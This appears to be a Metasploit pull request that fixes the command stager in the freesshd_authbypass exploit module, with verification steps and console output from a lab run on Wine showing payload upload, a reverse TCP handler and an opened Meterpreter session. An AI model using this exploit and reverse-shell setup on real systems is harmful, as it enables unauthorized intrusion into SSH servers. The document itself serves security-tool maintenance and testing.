Use the Msf::Exploit::CmdStager mixin. Fixes #8092.

[pbarry-r7]

Update the freesshd_authbypass module so it can locate the vbs_b64 command stager.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Get a session on an exploitable target.
• use exploit/windows/ssh/freesshd_authbypass
• Set RHOST, RPORT, USERNAME options accordingly.
• run
• Verify the exploit runs without throwing an Errno::ENOENT error.

[wvu]

msf exploit(freesshd_authbypass) > run

[*] Started reverse TCP handler on 192.168.33.1:4444 
[*] 192.168.33.129:2222 - Trying username '[redacted]'
[*] 192.168.33.129:2222 - Uploading payload, this may take several minutes...
[*] 192.168.33.129:2222 - Command Stager progress -   1.66% done (1699/102108 bytes)
[snip]
[*] Sending stage (957487 bytes) to 192.168.33.129
[*] 192.168.33.129:2222 - Command Stager progress - 100.00% done (102108/102108 bytes)
[*] Meterpreter session 1 opened (192.168.33.1:4444 -> 192.168.33.129:33920) at 2017-03-11 22:09:52 -0600

meterpreter > getuid
Server username: ubuntu\[redacted]
meterpreter > sysinfo
Computer        : ubuntu
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x64
System Language : en_US
Domain          : ubuntu
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > 

Note: this is Wine.

[wvu]

Release Notes

The command stager in exploit/windows/ssh/freesshd_authbypass has been fixed so that it can find the VBS decoder that was moved to the rex-exploitation gem.